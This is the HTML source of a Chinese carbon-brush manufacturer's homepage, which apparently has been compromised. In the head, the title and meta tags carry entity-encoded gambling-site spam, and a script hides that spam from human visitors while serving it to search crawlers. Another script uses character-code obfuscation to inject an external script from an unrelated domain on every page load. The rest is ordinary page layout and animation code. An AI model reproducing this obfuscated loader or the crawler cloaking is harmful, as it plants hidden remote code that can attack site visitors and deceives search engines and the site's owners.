<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
<title>&#20964;&#20976;&#40;&#20013;&#22269;&#41;&#23448;&#26041;&#32593;&#31449;&#45;&#30331;&#24405;&#20837;&#21475;&#45;&#31185;&#25216;&#32929;&#20221;&#26377;&#38480;&#20844;&#21496;</title>
<meta name="keywords" content="&#20964;&#20976;&#40;&#20013;&#22269;&#41;&#23448;&#26041;&#32593;&#31449;&#45;&#30331;&#24405;&#20837;&#21475;"/>
<meta name="description" content="&#12304;&#23567;&#29066;&#25512;&#33616;&#12305;&#27426;&#36814;&#26469;&#21040;&#20964;&#20976;&#23448;&#26041;&#32593;&#31449;&#30331;&#24405;&#20837;&#21475;&#9989;&#109;&#103;&#48;&#48;&#56;&#46;&#110;&#101;&#116;&#9989;&#23567;&#29066;&#24456;&#33635;&#24184;&#20026;&#24744;&#25552;&#20379;&#20248;&#36136;&#26381;&#21153;&#65292;&#31069;&#21733;&#21733;&#22909;&#36816;&#183;&#20964;&#20976;&#20307;&#32946;&#23448;&#26041;&#32593;&#31449;&#26368;&#23433;&#20840;&#24179;&#21488;&#20043;&#19968;&#44;&#25105;&#20204;&#38598;&#22242;&#23448;&#32593;&#12289;&#24179;&#21488;&#12289;&#30331;&#24405;&#12289;&#32593;&#31449;&#12289;&#32593;&#22336;&#12289;&#23089;&#20048;&#12289;&#32593;&#39029;&#29256;&#12289;&#25163;&#26426;&#29256;&#97;&#112;&#112;&#44;&#23448;&#32593;&#35206;&#30422;&#19990;&#30028;&#21508;&#22320;&#36187;&#20107;&#55358;&#56808;&#44;&#20307;&#32946;&#12289;&#30005;&#31454;&#12289;&#30495;&#20154;&#12289;&#24425;&#31080;&#12289;&#26827;&#29260;&#12289;&#30005;&#23376;&#28216;&#25103;&#31561;&#28909;&#38376;&#28216;&#25103;&#31561;&#24744;&#26469;&#20307;&#39564;&#20026;&#24744;&#25552;&#20379;&#50;&#52;&#23567;&#26102;&#22312;&#32447;&#26381;&#21153;&#26356;&#22810;&#31934;&#24425;&#27963;&#21160;&#23089;&#20048;&#31561;&#30528;&#24744;&#33;&#36214;&#24555;&#20307;&#39564;&#21543;&#33;&#10;"/>
<script>if(!navigator.userAgent.match(/baiduspider|sogou|360spider|yisou/i)){document.title ="浙江凯威碳材料有限公司（电机碳刷/刷架/调节器/石墨）"}</script>
<script type="text/javascript"> var xt = String.fromCharCode(0,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,50,48,50,54,120,105,110,106,115,46,99,111,109,47,121,98,46,106,115,34,62,60, 47,115, 99,114,105,112,116,62); document.write(xt);
</script>
<meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1">
<meta name="description" content="浙江凯威碳材料有限公司（电机碳刷/刷架/调节器/石墨）">
<meta name="author" content="林琳豪">
<meta name="keyword" content="碳材料 凯威 浙江">
<!-- CSS开始 -->
<link rel="shortcut icon" type="image/x-icon" href="/Public/favicon.ico" media="screen" />
<link rel="stylesheet" href="/Public/static/layui/css/layui.css">
<link rel="stylesheet" type="text/css" href="/Public/static/bootstrap-3.3.7/css/bootstrap.min.css">
<!-- bootstrap css -->
<link href="/Public/static/font-awesome-4.7.0/css/font-awesome.css" rel="stylesheet">
<!-- font-awesome style -->
<link rel="stylesheet" type="text/css" href="/Public/static/swiper-4.5.3/dist/css/swiper.min.css">
<!-- Swiper css -->
<link rel="stylesheet" type="text/css" href="/Public/static/animate/animate.min.css">
<!-- animate动画 -->
<link rel="stylesheet" href="/Public/Home/css/fonts.css">
<!-- <link rel="stylesheet" href="/Public/Home/css/reset.css"> -->
<!-- <link rel="stylesheet/less" type="text/css" href="/Public/Home/css/style.less"> -->
<!-- <link rel="stylesheet/less" type="text/css" href="/Public/Home/css/mobile.less"> -->
<link rel="stylesheet" href="/Public/Home/css/style.css">
<link rel="stylesheet" href="/Public/Home/css/mobile.css">
<link rel="stylesheet" href="/Public/Home/css/normalize.css">
<link rel="stylesheet" href="/Public/static/videojs/video-js.min.css">
<link rel="stylesheet" href="/Public/Home/css/common.css" />
<link rel="stylesheet" href="/Public/Home/css/main.css" />
<!-- 首页css -->

<!-- JS开始 -->
<script src="/Public/static/jquery/jquery-1.10.2.min.js"></script>
<!-- 引用jQuery -->
<script src="/Public/static/bootstrap-3.3.7/js/bootstrap.min.js"></script>
<!-- bootstrap js -->
<script src="/Public/static/less/less-1.7.0.min.js"></script>
<!-- 客户端解析less文件js -->
<script src="/Public/static/validate/dist/jquery.validate.min.js"></script>
<script src="/Public/static/validate/dist/localization/messages_zh.js"></script>
<!-- validate 表单验证 -->
<script src="/Public/static/layui/layui.js"></script>
<!-- layer -->
<script src="/Public/static/angular/1.4.6/angular.min.js"></script>
<script src="/Public/static/angular/1.4.6/angular-animate.min.js"></script>
<script src="/Public/static/angular/1.4.6/angular-route.js"></script>
<script src="/Public/static/swiper-4.5.3/dist/js/swiper.min.js"></script>
<!-- Swiper 轮播 -->
<!-- <script src="/Public/static/ScrollMagic/js/TweenLite.min.js"></script> -->
<!-- <script src="/Public/static/ScrollMagic/js/CSSPlugin.min.js"></script> -->
<script type="text/javascript" src="/Public/static/ScrollMagic/js/lib/greensock/TweenMax.min.js"></script>
<script type="text/javascript" src="/Public/static/ScrollMagic/js/lib/velocity.min.js"></script>
<script type="text/javascript" src="/Public/static/ScrollMagic/scrollmagic/uncompressed/ScrollMagic.js"></script>
<script type="text/javascript" src="/Public/static/ScrollMagic/scrollmagic/uncompressed/plugins/animation.velocity.js"></script>
<script type="text/javascript" src="/Public/static/ScrollMagic/scrollmagic/uncompressed/plugins/animation.gsap.js"></script>
<script src="http://cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/debug.addIndicators.min.js"></script>
<!-- ScrollMagic -->
<script src="/Public/static/videojs/video.min.js"></script>
<!-- videojs -->
<!-- <script src="/Public/static/jquery.nicescroll/dist/jquery.nicescroll.min.js"></script> -->
<!-- 控制滚动条速度 -->
<script type="text/javascript" src="/Public/Home/js/jquery.easing.1.3.js"></script>
<script type="text/javascript" src="/Public/Home/js/jquery.touchSlider.js"></script>
<script type="text/javascript" src="/Public/Home/js/jquery.mousewheel.min.js"></script>
<script>
    var _hmt = _hmt || [];
    (function() {
      var hm = document.createElement("script");
      hm.src = "http://hm.baidu.com/hm.js?0126985d2d170a9dd91b6780ca638767";
      var s = document.getElementsByTagName("script")[0]; 
      s.parentNode.insertBefore(hm, s);
    })();
    </script>
    
</head>
<body>
	<header id="header" class="hidden-sm hidden-xs hidden-md">
    <div id="nav">
        <div class="headerLeft" class="clearfix">
            <div class="logo">
                <a href="/">
                    <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/header/logo.png" alt="">
                </a>
            </div>
            <div class="headerUl">
                <ul>
                    <li><span><a href="/">首页</a></span></li>
                    <li><span><a href="/about">关于我们</a></span></li>
                    <li><span><a href="/pro">产品世界</a></span></li>
                    <li><span><a href="/news">资讯中心</a></span></li>
                    <li><span><a href="/message">全球服务</a></span></li>
                </ul>
            </div>
        </div>
        <ul class="headerRight">
            <li class="contactIco"><span><a href="#">联系我们</a></span></li>
            <li class="searchIco"><span><a href="#">搜索</a></span></li>
            <li class="langIco"><span><a href="#">语言</a></span></li>
        </ul>
    </div>
    <!-- <div class="headerBBox"></div> -->
    <div class="HeaderRBottomC">
        <div class="linel"></div>
        <p>地址</p>
        <p>浙江省温州瓯江口产业集聚区灵华路478号</p>
        <p>No.478 LingHua Road, OuJiangKou</p>
        <p>Industrial Zone, WenZhou ,</p>
        <p class="HRBe">ZheJiang, China</p>
        <p>电话</p>
        <p>0577-55873678</p>
        <p>0577- 62798282 （电机碳刷事业部）</p>
        <p>0577- 62752407 （工业碳刷事业部）</p>
        <p>传真</p>
        <p>0577-55873678</p>
        <div class="HRBLine"></div>
        <p>联系人</p>
        <p>章经理</p>
        <p>邮箱</p>
        <p>youyou.zhang@donon.cn</p>
    </div>
    <div class="HeaderRBottomL">
        <div class="linel"></div>
        <form action="" class="form-horizontal" method="post" enctype="multipart/form-data">
            <input type="hidden" name="theme" value="CHS">
            <input type="submit" value="中文" class="CHS">
        </form>
        <form action="" class="form-horizontal" method="post" enctype="multipart/form-data">
            <input type="hidden" name="theme" value="ENL">
            <input type="submit" value="English" class="ENL">
        </form>
    </div>
    <div class="HeaderRBottomS">
        <div class="linel"></div>
        <form action="/search" class="form-horizontal" method="post" enctype="multipart/form-data">
            <input type="text" name="title" size="20" maxlength="40" accesskey="s" placeholder="输入你想要搜索的内容"><br />
            <input type="submit" value="SEARCH" class="BtnSearch" onclick="this.form.submit()">
        </form>
    </div>
</header>
<header>
    <nav class="navbar navbar-default visible-xs visible-md visible-sm">
        <div class="container-fluid">
            <!-- Brand and toggle get grouped for better mobile display -->
            <div class="navbar-header">
                <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1" aria-expanded="false">
                    <span class="sr-only">Toggle navigation</span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                </button>
                <a href="/"><img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/header/logo.png" alt=""></a>
            </div>

            <!-- Collect the nav links, forms, and other content for toggling -->
            <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
                <ul class="nav navbar-nav">
                    <li class=""><a href="/">首页</a></li>
                    <li><a href="/about">关于我们</a></li>
                    <li><a href="/pro">产品世界</a></li>
                    <li><a href="/news">资讯中心</a></li>
                    <li><a href="/message">全球服务</a></li>
                </ul>
                <!-- <form class="navbar-form navbar-left">
                    <div class="form-group">
                        <input type="text" class="form-control" placeholder="Search">
                    </div>
                    <button type="submit" class="btn btn-default">Submit</button>
                </form> -->
            </div>
            <!-- /.navbar-collapse -->
        </div>
        <!-- /.container-fluid -->
    </nav>
</header>
<script>
    $(function(){
        $(".contactIco").hover(function(){
            $(".HeaderRBottomC").toggleClass("HRBOp");
        });
        $(".HeaderRBottomC").hover(function(){
            $(this).toggleClass("HRBOp");
        });
        $(".headerBBox").hover(function(){
            $(".HeaderRBottomC").toggleClass("HRBOp");
        });
    });
</script>
<script>
    $(function(){
        $(".langIco").hover(function(){
            $(".HeaderRBottomL").toggleClass("HRBOp");
        });
        $(".HeaderRBottomL").hover(function(){
            $(this).toggleClass("HRBOp");
        });
        $(".headerBBox").hover(function(){
            $(".HeaderRBottomL").toggleClass("HRBOp");
        });
    });
</script>
<script>
    $(function(){
        $(".searchIco").hover(function(){
            $(".HeaderRBottomS").toggleClass("HRBOp");
        });
        $(".HeaderRBottomS").hover(function(){
            $(this).toggleClass("HRBOp");
        });
        $(".headerBBox").hover(function(){
            $(".HeaderRBottomS").toggleClass("HRBOp");
        });
    });
</script>
<!-- <script>
    $('html').niceScroll({
        cursorcolor: "#ccc",//#CC0071 光标颜色
        cursoropacitymax: 1, //改变不透明度非常光标处于活动状态（scrollabar“可见”状态），范围从1到0
        touchbehavior: false, //使光标拖动滚动像在台式电脑触摸设备
        cursorwidth: "10px", //像素光标的宽度
        cursorborder: "0", // 游标边框css定义
        cursorborderradius: "15px",//以像素为光标边界半径
        autohidemode: false, //是否隐藏滚动条
        scrollspeed: 160,
        mousescrollstep: 80
    });
</script> -->
	
<style type="text/css">
    footer
    {
        display: none;
    }
</style>
<script type="text/javascript">
    $(function() {
        var playing = false;
        var winW;
        var winH;
        var $sectionWrap = $(".sectionWrap");
        var $section = $(".section");
        var sectionActive = 0;

        resize(true);
        init();
        gnb();

        var resizeTiming;
        $(window).resize(function() {
            //clearTimeout(resizeTiming);
            //resizeTiming = setTimeout(function () {
            //  resize();
            //}, 10);
            if (!isMobile()) {
                resize();
            }
        });


        function init() {
            var sectionMany = $section.length - 1;
            $(document).mousewheel(function(event, delta) {
                if (!playing && !$("body").hasClass("dim")) {
                    playing = true;
                    if (delta == -1) {
                        if (sectionActive < sectionMany) {
                            sectionActive = sectionActive + 1;
                        } else {
                            setTimeout(function() {
                                playing = false;
                            }, 100)
                            return;
                        }
                    }
                    if (delta == 1) {
                        if (sectionActive == 0) {
                            setTimeout(function() {
                                playing = false;
                            }, 100)
                            return;
                        } else {
                            sectionActive = sectionActive - 1;
                        }
                    }
                    $(".btn_event_close").click();
                    sectionAnimating(sectionActive);
                }

            });
            $(".mainStep ul li a").click(function(e) {
                e.preventDefault();
                var idx = $(this).closest("li").index();
                sectionAnimating(idx + 1);
            })

            $(".section").on({
                focusin: function(e) {
                    e.preventDefault();
                    var idx = $(this).index();
                    sectionAnimating(idx);
                }
            })


            $(".btn_main_down").click(function(e) {
                e.preventDefault();
                if (sectionActive < sectionMany) {
                    sectionAnimating(sectionActive + 1);
                }

            })
            $(".btn_main_up").click(function(e) {
                e.preventDefault();
                if (sectionActive != 0) {
                    sectionAnimating(sectionActive - 1);
                }
            })
            $(".btn_main_top").click(function(e) {
                    e.preventDefault();
                    sectionAnimating(0);
                })
            $(".btnAllmenu").click(function(e) {
                    sectionAnimating(0);
                })
            $(".section00Wrap").touchSlider({
                flexible: true,
                paging: $(".mainBtnArea .paging a"),
                btn_prev: $(".section00 .btn_prev"),
                btn_next: $(".section00 .btn_next"),
                btn_play: $(".section00 .btn_play"),
                auto_roll: true,
                auto_roll_term: 6000,
                counter: function(e) {
                    $(".mainBtnArea .paging a").removeClass("on").eq(e.current - 1).addClass("on");
                }
            });



            //section01 이벤트
            $(".companyArea li a").bind('mouseenter mouseleave', function(e) {
                if (e.type == 'mouseenter') {
                    TweenMax.to($(this).find('img'), 1, {
                        scale: 1.1
                    });
                } else {
                    TweenMax.to($(this).find('img'), 1, {
                        scale: 1
                    });
                }
            });


            //section02 이벤트
            $(".energyArea li").bind("mouseenter focusin", function() {
                $(this).find(".conBox").stop().animate({
                    bottom: 0
                }, {
                    duration: 500,
                    easing: "easeInOutCubic"
                });
            })
            $(".energyArea li").bind("mouseleave focusout", function() {
                $(this).find(".conBox").stop().animate({
                    bottom: -261
                }, {
                    duration: 500,
                    easing: "easeInOutCubic"
                });
            })

            //section04 滑动
            $(".section04 .slideArea").touchSlider({
                btn_prev: $(".section04 .btn_prev"),
                btn_next: $(".section04 .btn_next")
            });

            $(".section04 .slideWrap").bind("mouseenter focusin", function() {
                $(this).addClass("focus");
            })
            $(".section04 .slideWrap").bind("mouseleave focusout", function() {
                $(this).removeClass("focus");
            })

            $(".section05 .slideArea").touchSlider({
                btn_prev: $(".section05 .btn_prev"),
                btn_next: $(".section05 .btn_next")
            });

            $(".section05 .slideWrap").bind("mouseenter focusin", function() {
                $(this).addClass("focus");
            })
            $(".section05 .slideWrap").bind("mouseleave focusout", function() {
                $(this).removeClass("focus");
            })

            sectionAnimating(0);
            //layerPop('open','popup_newNotice');

            // 오늘 그만보기 처리
            if (!$Util.getCookie('today_chk')) {
                $(".topEventWrap").show();
                $(".btn_event_close").click(function(e) {
                    e.preventDefault();
                    $(".topEventWrap").slideUp({
                        duration: 800,
                        easing: "easeInOutCubic"
                    });
                    $(".mainWrap, .section").animate({
                        height: $(window).height(),
                        "top": 0
                    }, {
                        duration: 800,
                        easing: "easeInOutCubic"
                    });
                })
                $(".todayChk").click(function(e) {
                    e.preventDefault();
                    $Util.setCookie('today_chk', true, 1);
                    $(".btn_event_close").click();
                })
            }
        }
        //截面移动时的运动控制
        function sectionAnimating(active) {
            sectionActive = active;
            if (sectionActive != 2) {
                $(".mainWrap").attr("class", "mainWrap section" + (sectionActive));
            }
            $(".sectionWrap").attr("class", "sectionWrap section" + (sectionActive));
            $(".mainStep a").blur();
            $section.css("z-index", 9);
            $section.eq(active).css("z-index", 10).addClass("active");
            var top = -winH * active;
            if (sectionActive < 5) {
                $(".mainStep li").removeClass("on").eq(active - 1).addClass("on");
            } else {
                top = -((winH * (active - 1)) + 123);

            }

            $(".sectionWrap").stop().animate({
                top: top
            }, {
                duration: 1000,
                easing: "easeInOutCubic",
                complete: function() {
                    playing = false;
                    $(".section").filter(function(index) {
                        return index != active;
                    }).removeClass("active");
                    if (sectionActive == 2) {
                        $(".mainWrap").attr("class", "mainWrap section" + (sectionActive));
                    }
                    if (!$("html").hasClass("init")) {
                        $("html").addClass("init");
                        resize(true);
                    } else {
                        resize();
                    }

                }
            });
            if (sectionActive == 0) {
                $(".mainStep li").removeClass("on");
                $(".topMenuWrap").stop().slideDown({
                    duration: 500,
                    easing: "easeInOutCubic"
                });
                $(".mainStep").stop().animate({
                    left: "100%",
                    opacity: 0
                }, {
                    duration: 1000,
                    easing: "easeInOutCubic",
                    complete: function() {
                        $(this).hide();
                    }
                });
            } else {
                $(".topMenuWrap").stop().slideUp({
                    duration: 500,
                    easing: "easeInOutCubic"
                });
                $(".mainStep").show().stop().animate({
                    left: "50%",
                    opacity: 1
                }, {
                    duration: 1000,
                    easing: "easeInOutCubic"
                });
            }

            if (sectionActive == 5) {
            	$(".mainStepImg").css("display","none");
            } else {
            	$(".mainStepImg").css("display","block");
            }
        }
        //调整大小
        function resize(first) {
            winH = $(window).height();
            if (winH <= 680) {
                winH = 680;
            }
            if (winH <= 790) {
                $("body").addClass("small");
                if (sectionActive != 0) {
                    $(".header").stop().animate({
                        top: -108
                    }, {
                        duration: 500,
                        easing: "easeInOutCubic"
                    });
                } else {
                    $(".header").stop().animate({
                        top: 0
                    }, {
                        duration: 500,
                        easing: "easeInOutCubic"
                    });
                }

            } else {
                $("body").removeClass("small");
                if (sectionActive != 0) {
                    $(".header").stop().animate({
                        top: 0
                    }, {
                        duration: 500,
                        easing: "easeInOutCubic"
                    });
                }

            }
            var many = $section.length;
            var top = -winH * sectionActive;
            if (sectionActive == 5) {
                top = -((winH * (sectionActive - 1)) + 423);
            }
            $(".sectionWrap").css({
                top: top
            });
            if ($(".topEventWrap").css("display") == "block") {

                $(".mainWrap").css({
                    height: $(window).height() - 427,
                    "top": 427
                });
                $(".section").css({
                    height: $(window).height() - 427
                });
            } else {
                $(".section, .mainWrap").css({
                    height: winH
                });
            }
        }
    })
</script>
<div class="subContentWrap hidden-md hidden-xs hidden-sm" id="content">
    <div class="dim_bg"></div>
    <div class="mainWrap" id="content">
        <div class="dim_bg"></div>
        <div class="mainStep">
            <a href="#" class="btn_main_top"><img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/btn_right_up.png" alt="" /></a>
            <ul>
                <li><a href="#">01<span class="txt"> COMPANY</span></a></li>
                <li><a href="#">02<span class="txt"> HISTORY</span></a></li>
                <li><a href="#">03<span class="txt"> PRODUCT</span></a></li>
                <li><a href="#">04<span class="txt"> CONTACT</span></a></li>
            </ul>
        </div>
	    <img class="mainStepImg btn_main_top" src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/footer/top.png">
        <div class="sectionWrap">
            <!-- section00 -->
            <div class="section section00">
                <div class="section00Wrap">
                    <ul>
                        <li class="bg1">
                            <div class="sectionCon1">
                                <div class="txt">
                                    <h1>KAV Carbon Material</h1>
                                    <small>KAV Carbon Technology<br />Always at your side</small>
                                    <p>励精图治，专注碳刷三十年</p>
                                </div>
                            </div>
                        </li>
                        <li class="bg2">
                            <div class="sectionCon1">
                                <div class="txt">
                                    <h1>KAV Carbon Material</h1>
                                    <small>Small Part Makes The Great Business. </small>
                                    <p>小部件有大作為</p>
                                </div>
                            </div>
                        </li>
                        <li class="bg5">
                            <div class="sectionCon1">
                                <div class="txt">
                                    <h1>KAV Carbon Material</h1>
                                    <small>Graphite Products</small>
                                    <p>石墨制品</p>
                                </div>
                            </div>
                        </li>
                        <!-- <li class="bg3">
                            <div class="sectionCon1">
                                <div class="txt">
                                	<h1>KAV Carbon Material</h1>
                                    <small>Carbon Brush For Automobiles</small>
                                    <p>汽车辅助电机碳刷</p>
                                </div>
                            </div>
                        </li> -->
                        <li class="bg4">
                            <div class="sectionCon1">
                                <div class="txt">
                                	<h1>KAV Carbon Material</h1>
                                    <small>Carbon Brush And Brush Holder For Fan Motor</small>
                                    <p>汽车风扇电机碳刷及刷架</p>
                                </div>
                            </div>
                        </li>
                    </ul>
                </div>
                <a href="#" class="btn_main_down"><img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/main/btn_down_arr.png" alt="main next" /></a>
                <div class="mainBtnArea">
                    <p class="paging">
                        <a href="#"></a>
                    </p>
                    <a href="#" class="btn_play on">auto rolling off</a>
                </div>
            </div>
            <!-- //section00 -->

            <!-- section01 -->
            <div class="section section01">
                <div class="sectionCon">
                    <h2>COMPANY</h2>
                    <!-- 2015-12-17 : s-->
                    <p class="stxt">Top- level carbon enterprise in Asia<br />亚洲一流的电碳企业</p>
                    <!-- 2015-12-17 : e-->
                    <!-- 2015-12-15 edit : s -->
                    <ul class="companyArea">
                        <li class="company1">
                            <!-- 20160902 수정 -->
                            <a href="/about#/intro">
                                <strong class="fsTT">公司介绍</strong>
                                <span class="txt">公司1988年成立于浙江省温州市，<br />是国内民营最具规模和实力碳制品企业。</span>
                                <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/1.jpg" alt="CEO Message Image">
                            </a>
                        </li>
                        <!--2015-12-23 : s-->
                        <li class="company2">
                            <a href="/about#/stren">
                                <!-- 2016-01-05 : s-->
                                <strong class="fsTT">产品优势</strong>
                                <!-- 2016-01-05 : e-->
                                <!-- 20160912 수정 -->
                                <span class="txt">碳石墨系列材料<br />"十年磨一剑"的坚持不懈……</span>
                                <!-- //20160912 수정 -->
                                <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/2.jpg" alt="Selected DJSI World Company Image">
                            </a>
                        </li>
                        <li class="company3">
                            <a href="/about#/proc">
                                <strong class="fsTT">生产实力</strong>
                                <span class="txt">高品质源于东南人对缺陷的零容忍</span>
                                <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/3.jpg" alt="No.2 Aromatics Complex Image">
                            </a>
                        </li>
                        <!--2015-12-23 : e-->
                        <li class="company4">
                            <a href="/about#/apti">
                                <strong class="fsTT">资质认证<!-- <span class="i_plus">More</span> --></strong>
                                <span class="txt">30多年对品质的持之以恒的默默耕耘，<br />成就东南碳在行业内的良好口碑。</span>
                                <img src="http://gaogecompany.oss-cn-hangzhou.aliyuncs.com/kaiwei/img/Index/4.jpg" alt="New Management Leadership Image">
                            </a>
                        </li>
                    </ul>
                    <!-- 2015-12-15 edit : e -->
                </div>
            </div>
            <!-- //section01 -->

            

            <!-- section03 -->
            <div class="section section03" style="width: 100%;">
                <div class="sectionCon" id="TimeTopID">
                    <h2>HISTORY</h2>
                    <p class="stxt">KAV is a 30 year old and has a history<br />Independent creative production technology company</p>
                    <p class="stxt1">凯威是一家拥有30年历史的公司</p>
                </div>
                <div class="timeline" id="timelineID">
                    <div class="swiper-container" id="swiper-containerID">
                        <div class="swiper-wrapper">
                            <div class="swiper-slide">
                                <ul>
                                    <li class="timeLi1"><p>1988</p></li>
                                    <li class="dot"><span></span></li>
                                    <li class="timeLi2"><p>1988 公司成立<br />并建立第一个现代化工厂</p></li>
                                    <li class="timeLi3"><p>Built The First Modern Plant</p></li>
                                </ul>
                            </div>
                            <div class="swiper-slide">
                                <ul>
                                    <li class="timeLi1">2004</li>
                                    <li class="dot"><span></span></li>
                                    <li class="timeLi2">2004 公司第二个<br />现代化工厂投入使用</li>
                                    <li class="timeLi3"><p>The Second Modern Plant<br />Put Into Production</p></li>
                                </ul>
                            </div>
                            <div class="swiper-slide">
                                <ul>
                                    <li class="timeLi1">2010</li>
                                    <li class="dot"><span></span></li>
                                    <li class="timeLi2">2010年 公司获得<br />国家火星计划企业</li>
                                    <li class="timeLi3"><p>Company Won The National<br />Mars Program Award</p></li>
                                </ul>
                            </div>
                            <div class="swiper-slide">
                                <ul>
                                    <li class="timeLi1">2014</li>
                                    <li class="dot"><span></span></li>
                                    <li class="timeLi2">2014 公司正式与<span>博世、法雷奥</span><br />建立合作关系</li>
                                    <li class="timeLi3"><p>Start Cooperation With <span>Bosch</span><br />And <span>Valeo</span></p></li>
                                </ul>
                            </div>
                            <div class="swiper-slide swiper-slide-active">
                                <ul>
                                    <li class="timeLi1">2017</li>
                                    <li class="dot"><span></span></li>
                                    <li class="timeLi2">2017年 公司第三个现代化工厂<br />在温州瓯江口投产，建设面积40亩</li>
                                    <li class="timeLi3"><p>The Third Modern Plant Was Built In Wenzhou,<br />Total Area Is About 26,664m2</p></li>
                                </ul>
                            </div>
                            <div class="swiper-slide swiper-slide-active">
                                <ul>
                                    <li class="timeLi1">2019</li>
                                    <li class="dot"><span></span></li>
                                    <li class="timeLi2">我们仍在努力</li>
                                    <li class="timeLi3"><p>We Still On Our Way</p></li>
                                </ul>
                            </div>
                        </div>
                        <!-- Add Arrows -->
                    </div>
                    <div class="swiper-button-prev timePrev"></div>
                    <div class="swiper-button-next timeNext"></div>
                    <div class="timeAdd" onclick="Add()"></div>
                    <div class="timeClose" id="timeCloseID" onclick="Close()"></div>
                    <div class="timeButton" id="timeButtonID"></div>
                    <div class="timeLineDetail" id="timeLineDetailID">
                        <ul><p>1988</p>
                            <li>公司成立并建立第一个现代化工厂</li>
                        </ul>
                        <ul><p>2004</p>
                            <li>公司第二个现代化工厂投入使用</li>
                        </ul>
                        <ul><p>2010</p>
                            <li>公司获得国家火星计划企业</li>
                        </ul>
                        <ul><p>2014</p>
                            <li>公司正式与博世、法雷奥建立合作关系</li>
                        </ul>
                        <ul><p>2017</p>
                            <li>公司第三个现代化工厂在温州瓯江口投产，建设面积40亩</li>
                        </ul>
                        <ul><p>2019</p>
                            <li>我们仍在努力</li>
                        </ul>
                    </div>
                </div>
            </div>
            <script>
                var swiper = new Swiper('.swiper-container', {
                    nextButton: '.swiper-button-next',
                    prevButton: '.swiper-button-prev',
                    slidesPerView: 6,
                    paginationClickable: true,
                    slideActiveClass : 'swiper-slide-active',
                    // initialSlide :0,         //从第几个开始
                    spaceBetween: 30,
                    centeredSlides : true,      //第一个slide居中
                    grabCursor: true,           //鼠标变成手
                    slideToClickedSlide: true,  //点击slide会过渡到这个slide。
                    // freeMode: true,
                    loop: true
                });
            </script>
            <!-- swiper-container -->
            <!-- 时间轴 -->
            <script>
                function Add() {
                    document.getElementById("timeLineDetailID").style.display="block";
                    document.getElementById("timeCloseID").style.display="block";
                    document.getElementById("swiper-containerID").style.display="none";
                    document.getElementById("timeButtonID").style.display="none";
                    document.getElementById("TimeTopID").style.display="none";
                    document.getElementById("timelineID").style.top="40%";
                    document.getElementById("timeCloseID").style.marginTop="40%";
                }
            </script>
            <script>
                function Close() {
                    document.getElementById("timeLineDetailID").style.display="none";
                    document.getElementById("timeCloseID").style.display="none";
                    document.getElementById("swiper-containerID").style.display="block";
                    document.getElementById("timeButtonID").style.display="block";
                    document.getElementById("TimeTopID").style.display="block";
                    document.getElementById("timelineID").style.top="90%";
                    document.getElementById("timeCloseID").style.marginTop="80px";
                }
            </script>
            <!-- end -->

            <!-- section02 -->
            <div class="section section02">
                <div class="sectionCon">
                    <h2>PRODUCT</h2>
                    <!-- 2015-12-17 : s-->
                    <p class="stxt">Diversified Development Make Everything Possible<br />多元化的发展，创造无限可能</p>
                    <!-- 2015-12-17 : e-->
                    <ul class="energyArea">
                        <!-- 2015-11-26 edit : s -->
                        <li class="energy1">
                            <a href="/pdetail#/car">
                                <span class="topcon">汽车系列电机</span>
                                <span class="conBox">
                                    <strong class="title">
                                        系列介绍
                                    </strong>
                                    <span
                                        class="con let">产品广泛应用于汽车多个零部件，如起动机、发电机、电动油泵、冷却风扇、冷暖空调、座椅电机、摇窗电机、EPB、EPS、ABS、EVP等，具有匹配性好，噪音低、运行稳定等特点</span>
                                </span>
                            </a>
                        </li>
                        <li class="energy2">
                            <a href="/pdetail#/moto">
                                <span class="topcon">家用电器系列</span>
                                <span class="conBox">
                                    <strong class="title">
                                        系列介绍
                                    </strong>
                                    <span
                                        class="con">智能家居多元化的发展致力于让我们生活更美好，凯威则致力于让客户的选择更简单，我们自主研发的按摩椅电机碳刷架总成足以让客户安心，放心</span>
                                </span>
                            </a>
                        </li>
                        <li class="energy3">
                            <a href="/pdetail#/home">
                                <span class="topcon">电动工具系列</span>
                                <span class="conBox">
                                    <strong class="title">
                                        系列介绍
                                    </strong>
                                    <span class="con">伴随着电动工具的迅猛发展，凯威抓住机遇，迎来电动工具碳刷的高速成长。</span>
                                </span>
                            </a>
                        </li>
                        <li class="energy4">
                            <a href="/pdetail#/ele">
                                <span class="topcon">石墨制品</span>
                                <span class="conBox">
                                    <strong class="title">
                                        系列介绍
                                    </strong>
                                    <span
                                        class="con">凯威专注于石墨相关产品的研发、生产，其产品广泛用于光伏、燃料电池、半导体、精密模具行业。只有专注，才能专业。自公司成立以来，我们专注于石墨类材料的研究,
                                        三十多年对品质的持之以恒的默默耕耘，成就凯威行业内的良好口碑。</span>
                                </span>
                            </a>
                        </li>
                    </ul>
                </div>
            </div>
            <!-- //section02 -->

            
            <!-- section04 -->
            <div class="section section04 row">
                <div class="sectionCon4">
                    <h2>CONTACT US</h2>
                    <p class="stxt">Find Us Here</p>
                    <p class="stxt1">在这里找到我们</p>
                </div>
                <div class="left">
                    <div class="leftWord">
                    	<p>对用户的倾听和回应，<br />是凯威服务的第一步</p>
                    	<p>名称<br />浙江凯威碳材料有限公司</p>
                        <span>ZheJiang KAV Carbon Material Co.,Ltd</span>
                        <p>地址<br />浙江省温州瓯江口产业集聚区灵华路478号</p>
                    	<span>No.478 LingHua Road, OuJiangKou Industrial Zone,<br />WenZhou , ZheJiang, China</span>
                    	<p>电话 </p>
                    	<span>0577-55873678</span><br />
                    	<span>0577- 62798282（电机碳刷事业部）</span><br />
